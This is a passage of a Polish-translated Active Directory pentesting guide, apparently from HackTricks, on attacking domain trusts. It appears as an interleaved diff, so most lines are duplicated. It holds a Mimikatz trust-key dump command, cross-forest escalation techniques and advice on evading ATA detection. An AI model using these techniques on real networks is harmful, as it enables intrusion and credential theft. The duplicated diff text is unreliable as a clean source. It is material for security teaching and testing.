7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domain 2.
6. DC2 weryfikuje inter-realm TGT używając wspólnego trust key i, jeśli jest prawidłowy, wydaje **Ticket Granting Service (TGS)** dla serwera w Domain 2, do którego klient chce uzyskać dostęp.
7. W końcu klient przedstawia ten TGS serwerowi, który jest szyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domain 2.
### Different trusts
Ważne jest zauważyć, że **trust może być jednokierunkowy lub dwukierunkowy**. W konfiguracji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **jednokierunkowej** jedna z domen będzie **trusted**, a druga **trusting**. W tym ostatnim przypadku **będziesz w stanie uzyskać dostęp tylko do zasobów w trusting domain z trusted domain**.
Ważne jest, aby zauważyć, że **trust może być jednokierunkowy lub dwukierunkowy**. W opcji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **jednokierunkowej** jedna z domen będzie **trusted**, a druga **trusting**. W tym ostatnim przypadku **będziesz mógł uzyskać dostęp tylko do zasobów w trusting domain z trusted domain**.
Jeśli Domain A ufa Domain B, A jest trusting domain, a B jest trusted. Co więcej, w **Domain A** będzie to **Outbound trust**; a w **Domain B** będzie to **Inbound trust**.
Jeśli Domain A ufa Domain B, A jest domeną trusting, a B jest domeną trusted. Co więcej, w **Domain A**, będzie to **Outbound trust**; a w **Domain B**, będzie to **Inbound trust**.
**Różne relacje zaufania**
- **Parent-Child Trusts**: Typowa konfiguracja w obrębie tego samego forest, gdzie domena potomna automatycznie ma dwukierunkowe zaufanie przechodnie z domeną nadrzędną. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Cross-link Trusts**: Nazywane też "shortcut trusts", ustanawiane między domenami potomnymi w celu przyspieszenia procesów referral. W skomplikowanych lasach odniesienia uwierzytelniania zwykle muszą podróżować do root forest, a następnie do docelowej domeny. Tworząc cross-links skraca się tę drogę, co jest korzystne w rozproszonych geograficznie środowiskach.
- **External Trusts**: Ustanawiane między różnymi, niespokrewnionymi domenami i mają charakter non-transitive. Według dokumentacji Microsoft, external trusts są przydatne do dostępu do zasobów w domenie poza bieżącym forest, która nie jest połączona przez forest trust. Bezpieczeństwo jest wzmacniane przez SID filtering z external trusts.
- **Tree-root Trusts**: Zaufania te są automatycznie ustanawiane między root domeną forest a nowo dodanym tree root. Chociaż nie są często spotykane, tree-root trusts są istotne przy dodawaniu nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową przechodniość. Więcej informacji w przewodniku Microsoft.
- **Forest Trusts**: Ten typ zaufania to dwukierunkowe zaufanie przechodnie między dwoma root domenami forest, również egzekwujące SID filtering w celu zwiększenia bezpieczeństwa.
- **MIT Trusts**: Zaufania ustanawiane z nie-Windowsowymi, zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120) domenami Kerberos. MIT trusts są bardziej wyspecjalizowane i służą integracji z systemami Kerberos spoza ekosystemu Windows.
- **Parent-Child Trusts**: To powszechne ustawienie w ramach tego samego forest, gdzie domena potomna automatycznie ma dwukierunkowy transitive trust z domeną nadrzędną. W praktyce oznacza to, że żądania autoryzacyjne mogą płynąć swobodnie między rodzicem a potomkiem.
- **Cross-link Trusts**: Nazywane też "shortcut trusts", są ustanawiane między domenami potomnymi, aby przyspieszyć procesy referencji. W złożonych forestach referencje uwierzytelniania zwykle muszą iść do korzenia lasu, a następnie w dół do domeny docelowej. Tworząc cross-links, skracasz tę drogę, co jest korzystne w rozproszonej geograficznie sieci.
- **External Trusts**: Ustanawiane między różnymi, niespokrewnionymi domenami i są z natury non-transitive. Według [dokumentacji Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts są użyteczne do uzyskiwania dostępu do zasobów w domenie spoza bieżącego forest, który nie jest połączony przez forest trust. Bezpieczeństwo jest wzmacniane przez filtrowanie SID z external trusts.
- **Tree-root Trusts**: Te trusty są automatycznie ustanawiane między forest root domain a nowo dodanym tree root. Chociaż nie są często spotykane, tree-root trusts są ważne przy dodawaniu nowych drzew do lasu, pozwalając im zachować unikalną nazwę domeny i zapewniając dwukierunkową transktywność. Więcej informacji można znaleźć w [przewodniku Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ten typ trustu jest dwukierunkowym transitive trust między dwoma forest root domains, również wymuszając filtrowanie SID w celu zwiększenia bezpieczeństwa.
- **MIT Trusts**: Trusty te są ustanawiane z nie-Windowsowymi, [RFC4120-kompatybilnymi](https://tools.ietf.org/html/rfc4120) domenami Kerberos. MIT trusts są bardziej wyspecjalizowane i służą integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
#### Other differences in **trusting relationships**
- Relacja zaufania może być również **transitive** (A ufa B, B ufa C, więc A ufa C) lub **non-transitive**.
- Relacja zaufania może być ustawiona jako **bidirectional trust** (obie ufają sobie nawzajem) lub jako **one-way trust** (tylko jedna ufa drugiej).
- Relacja trustu może być również **transitive** (A ufa B, B ufa C, wtedy A ufa C) lub **non-transitive**.
- Relacja trustu może być ustawiona jako **bidirectional trust** (obie ufają sobie) lub jako **one-way trust** (tylko jedna ufa drugiej).
### Attack Path
1. **Enumerate** relacje zaufania
2. Sprawdź, czy jakiś **security principal** (user/group/computer) ma **dostęp** do zasobów **drugiej domeny**, być może przez wpisy ACE lub przez bycie w grupach drugiej domeny. Szukaj **zależności między domenami** (zaufanie zostało stworzone prawdopodobnie z tego powodu).
2. Sprawdź czy jakikolwiek **security principal** (user/group/computer) ma **access** do zasobów **drugiej domeny**, może poprzez wpisy ACE lub poprzez bycie w grupach drugiej domeny. Szukaj **relacji między domenami** (prawdopodobnie trust został utworzony w tym celu).
1. kerberoast w tym przypadku może być kolejną opcją.
3. **Skompromituj** **kont-a**, które mogą **pivotować** przez domeny.
3. **Compromise** konta, które mogą **pivot** przez domeny.
Atakujący mogą uzyskać dostęp do zasobów w innej domenie przez trzy główne mechanizmy:
- **Local Group Membership**: Principalsi mogą być dodani do lokalnych grup na maszynach, takich jak grupa “Administrators” na serwerze, dając im znaczącą kontrolę nad tą maszyną.
- **Foreign Domain Group Membership**: Principals mogą również być członkami grup w domenie zewnętrznej. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
- **Access Control Lists (ACLs)**: Principals mogą być wskazani w **ACL**, szczególnie jako encje w **ACE** w **DACL**, zapewniając im dostęp do konkretnych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, whitepaper "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" jest nieocenionym źródłem.
- **Local Group Membership**: Principals mogą zostać dodani do lokalnych grup na maszynach, takich jak grupa „Administrators” na serwerze, co daje im znaczącą kontrolę nad tą maszyną.
- **Foreign Domain Group Membership**: Principals mogą być również członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od rodzaju trustu i zasięgu grupy.
- **Access Control Lists (ACLs)**: Principals mogą być wyspecyfikowani w **ACL**, szczególnie jako encje w **ACE** w **DACL**, dając im dostęp do konkretnych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, whitepaper [An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf) jest nieocenionym źródłem.
### Find external users/groups with permissions
Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, aby znaleźć foreign security principals w domenie. Będą to użytkownicy/grupy z **zewnętrznej domeny/forest**.
Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** aby znaleźć foreign security principals w domenie. Będą to użytkownicy/grupy z **an external domain/forest**.
Możesz to sprawdzić w **Bloodhound** lub używając powerview:
Możesz to sprawdzić w **Bloodhound** lub używając **powerview**:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
@ -639,8 +639,8 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Istnieją **2 trusted keys**, jeden dla _Potomna --> Nadrzędna_ i drugi dla _Nadrzędna --> Potomna_.\
> Możesz sprawdzić, który jest używany przez bieżącą domenę za pomocą:
> There are **2 trusted keys**, one for _Child --> Parent_ and another one for _Parent_ --> _Child_.\
> Możesz sprawdzić, który z nich jest używany przez bieżącą domenę za pomocą:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -649,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
#### SID-History Injection
Zwiększ uprawnienia do Enterprise admin w domenie potomnej/nadrzędnej, nadużywając zaufania za pomocą SID-History injection:
Eskaluje do Enterprise admin w domenie podrzędnej/nadrzędnej, nadużywając zaufania poprzez SID-History injection:
{{#ref}}
@ -658,26 +658,26 @@ sid-history-injection.md
#### Exploit writeable Configuration NC
Zrozumienie, jak można wykorzystać Configuration Naming Context (NC), jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **uprawnienia SYSTEM na DC**, najlepiej na DC w domenie potomnej.
Zrozumienie, w jaki sposób można wykorzystać Configuration Naming Context (NC), jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym forest w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w forest, a writable DC przechowują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **SYSTEM privileges on a DC**, najlepiej na child DC.
**Link GPO to root DC site**
Kontener Sites w Configuration NC zawiera informacje o site'ach wszystkich komputerów dołączonych do domeny w obrębie lasu AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą powiązać GPO z site'ami root DC. Działanie to może potencjalnie skompromitować root domain poprzez manipulowanie politykami stosowanymi do tych site'ów.
Kontener Sites w Configuration NC zawiera informacje o site wszystkich komputerów dołączonych do domeny w forest. Mając uprawnienia SYSTEM na dowolnym DC, atakujący może powiązać GPO z root DC sites. Taka akcja może potencjalnie skompromitować root domain poprzez manipulację politykami stosowanymi do tych site'ów.
Aby uzyskać więcej informacji, można przejrzeć badania dotyczące [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Po więcej informacji warto zapoznać się z badaniami na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromise any gMSA in the forest**
Wejściem ataku jest skierowanie się na uprzywilejowane gMSA w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając uprawnienia SYSTEM na dowolnym DC, możliwe jest uzyskanie dostępu do KDS Root key i obliczenie haseł dla dowolnego gMSA w całym lesie.
Wejście w kierunku uprzywilejowanych gMSA w domenie to kolejny wektor ataku. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając uprawnienia SYSTEM na dowolnym DC, możliwe jest uzyskanie dostępu do KDS Root key i obliczenie haseł dowolnego gMSA w całym forest.
Szczegółowa analiza i instrukcja krok po kroku dostępne są w:
Szczegółowa analiza i przewodnik krok po kroku znajdują się w:
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
Uzupełniający atak na delegated MSA (BadSuccessor nadużywanie atrybutów migracji):
Uzupełniający atak na delegowane MSA (BadSuccessor nadużycie atrybutów migracji):
{{#ref}}
@ -688,15 +688,15 @@ Dodatkowe badania zewnętrzne: [Golden gMSA Trust Attacks](https://improsec.com/
**Schema change attack**
Ta metoda wymaga cierpliwości — oczekiwania na utworzenie nowych uprzywilejowanych obiektów AD. Mając uprawnienia SYSTEM, atakujący może zmodyfikować AD Schema, aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i kontroli nad nowo tworzonymi obiektami AD.
Ta metoda wymaga cierpliwości i oczekiwania na tworzenie nowych uprzywilejowanych obiektów AD. Mając uprawnienia SYSTEM, atakujący może zmodyfikować AD Schema, by nadać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i kontroli nad nowo tworzonymi obiektami AD.
Dalszą lekturę znajdziesz w [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
Dalsza lektura dostępna jest w [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**From DA to EA with ADCS ESC5**
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby stworzyć szablon certyfikatu umożliwiający uwierzytelnianie się jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC w domenie potomnej pozwala na przeprowadzenie ataków ESC5.
Luka ADCS ESC5 skupia się na kontroli nad obiektami PKI w celu utworzenia szablonu certyfikatu umożliwiającego uwierzytelnianie jako dowolny użytkownik w forest. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja writable child DC umożliwia przeprowadzenie ataków ESC5.
Więcej szczegółów można znaleźć w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak opisano w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Więcej szczegółów w artykule [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS atakujący ma możliwość skonfigurowania niezbędnych komponentów, o czym jest mowa w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### External Forest Domain - One-Way (Inbound) or bidirectional
```bash
@ -709,8 +709,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** wobec niej. Musisz ustalić, **które podmioty (principals) twojej domeny mają jakie uprawnienia wobec domeny zewnętrznej**, a następnie spróbować to wykorzystać:
W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** wobec niej. Będziesz musiał ustalić, **które principals z twojej domeny mają jaki dostęp do domeny zewnętrznej**, a następnie spróbować to wykorzystać:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -728,35 +727,38 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
W tym scenariuszu **twoja domena** udziela **uprawnień** podmiotowi z **innej domeny**.
W tym scenariuszu **twoja domena** przyznaje pewne **uprawnienia** podmiotowi z **innej domeny**.
Jednak, gdy **domena jest zaufana** przez domenę ufającą, **domena zaufana** **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło używa hasła zaufania**. To oznacza, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby wejść do domeny zaufanej**, przeprowadzić jej enumerację i spróbować eskalować uprawnienia:
Jednak gdy **domena jest zaufana** przez domenę ufającą, domena zaufana **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło** używa **zaufanego hasła**. Co oznacza, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej** w celu jej zenumerowania i próby eskalacji uprawnień:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Innym sposobem przejęcia domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** względem zaufania domeny (co nie jest zbyt częste).
Innym sposobem na kompromitację domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** zaufania domeny (co nie jest zbyt powszechne).
Kolejnym sposobem jest pozostanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny pochodzenia ofiary** stamtąd.\
Co więcej, jeśli **ofiarze podmontowali swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby umieścić **backdoors** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
Innym sposobem przejęcia domeny zaufanej jest oczekiwanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Następnie atakujący może wstrzyknąć kod do procesu sesji RDP i w ten sposób **dostać się do źródłowej domeny ofiary**. Ponadto, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący może umieścić **backdoors** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
{{#endref}}
### Łagodzenie nadużyć związanych z zaufaniem domen
### Domain trust abuse mitigation
### **SID Filtering:**
- Ryzyko ataków wykorzystujących atrybut SIDHistory w ramach trustów między lasami jest ograniczone przez SID Filtering, które jest domyślnie aktywowane we wszystkich trustach między lasami. Wynika to z założenia, że trusty wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoftu.
- Jednak istnieje haczyk: SID filtering może zakłócić działanie aplikacji i dostęp użytkowników, co prowadzi czasem do jego dezaktywacji.
- Ryzyko ataków wykorzystujących atrybut SID history w ramach trustów między lasami jest łagodzone przez SID Filtering, które jest aktywowane domyślnie we wszystkich inter-forest trusts. Jest to oparte na założeniu, że zaufania wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoftu.
- Jednak jest haczyk: SID filtering może zakłócać działanie aplikacji i dostęp użytkowników, co prowadzi do jego okazjonalnego wyłączenia.
### **Selective Authentication:**
- W przypadku trustów między lasami użycie Selective Authentication zapewnia, że użytkownicy z obu lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen lub serwerów w domenie lub lesie ufającym.
- Należy zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani przed atakami na konto zaufania.
- Dla inter-forest trusts stosowanie Selective Authentication zapewnia, że użytkownicy z dwóch lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w domenie lub lesie ufającym.
- Należy zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani przed atakami na trust account.
[**Więcej informacji o zaufaniach domen na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
@ -765,38 +767,38 @@ rdp-sessions-abuse.md
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Ogólne środki obronne
## Niektóre ogólne środki obronne
[**Dowiedz się więcej o ochronie poświadczeń tutaj.**](../stealing-credentials/credentials-protections.md)
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
### **Środki obronne w zakresie ochrony poświadczeń**
### **Defensive Measures for Credential Protection**
- **Domain Admins Restrictions**: Zaleca się, aby członkom grupy Domain Admins zezwalać jedynie na logowanie się na Domain Controllers, unikając ich używania na innych hostach.
- **Service Account Privileges**: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA) w celu zachowania bezpieczeństwa.
- **Temporal Privilege Limitation**: W przypadku zadań wymagających uprawnień DA ich czas trwania powinien być ograniczony. Można to osiągnąć za pomocą: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Domain Admins Restrictions**: Zaleca się, aby Domain Admins mogli logować się jedynie na Domain Controllers, unikając korzystania z tych kont na innych hostach.
- **Service Account Privileges**: Usługi nie powinny działać z uprawnieniami Domain Admin (DA), aby utrzymać bezpieczeństwo.
- **Temporal Privilege Limitation**: Dla zadań wymagających uprawnień DA należy ograniczyć ich czas trwania. Można to osiągnąć poleceniem: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Wdrażanie technik Deception**
- Wdrażanie deception polega na ustawianiu pułapek, takich jak decoy users lub komputery, z cechami takimi jak hasła, które nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Wdrażanie deception polega na ustawianiu pułapek, takich jak fałszywi użytkownicy lub komputery, z cechami takimi jak hasła, które nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Więcej o wdrażaniu technik deception można znaleźć na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
- Więcej na temat wdrażania technik deception znajduje się na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
### **Wykrywanie Deception**
- **Dla obiektów typu User**: Podejrzane wskaźniki to nietypowy ObjectSID, rzadkie logowania, daty utworzenia oraz niski licznik nieudanych prób hasła.
- **Ogólne wskaźniki**: Porównywanie atrybutów potencjalnych decoy objects z autentycznymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deceptions.
- **For User Objects**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty utworzenia oraz niską liczbę nieudanych prób hasła.
- **General Indicators**: Porównywanie atrybutów potencjalnych obiektów przynęt z rzeczywistymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deceptions.
### **Omijanie systemów wykrywania**
### **Omijanie systemów detekcji**
- **Microsoft ATA Detection Bypass**:
- **User Enumeration**: Unikanie enumeracji sesji na Domain Controllers, aby zapobiec wykryciu przez ATA.
- **Ticket Impersonation**: Wykorzystanie kluczy **aes** do tworzenia ticketów pomaga uniknąć wykrycia poprzez nieprzejście na NTLM.
- **DCSync Attacks**: Zaleca się wykonywanie ich z maszyny niebędącej Domain Controllerem, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie na Domain Controller spowoduje alerty.
- **Ticket Impersonation**: Wykorzystanie kluczy **aes** do tworzenia ticketów pomaga unikać detekcji poprzez niedowngrade'owanie do NTLM.
- **DCSync Attacks**: Zaleca się wykonywanie z maszyny będącej nie-Domain Controllerem, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z Domain Controller spowoduje alerty.
## Odniesienia
## References
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
{{#include ../../banners/hacktricks-training.md}}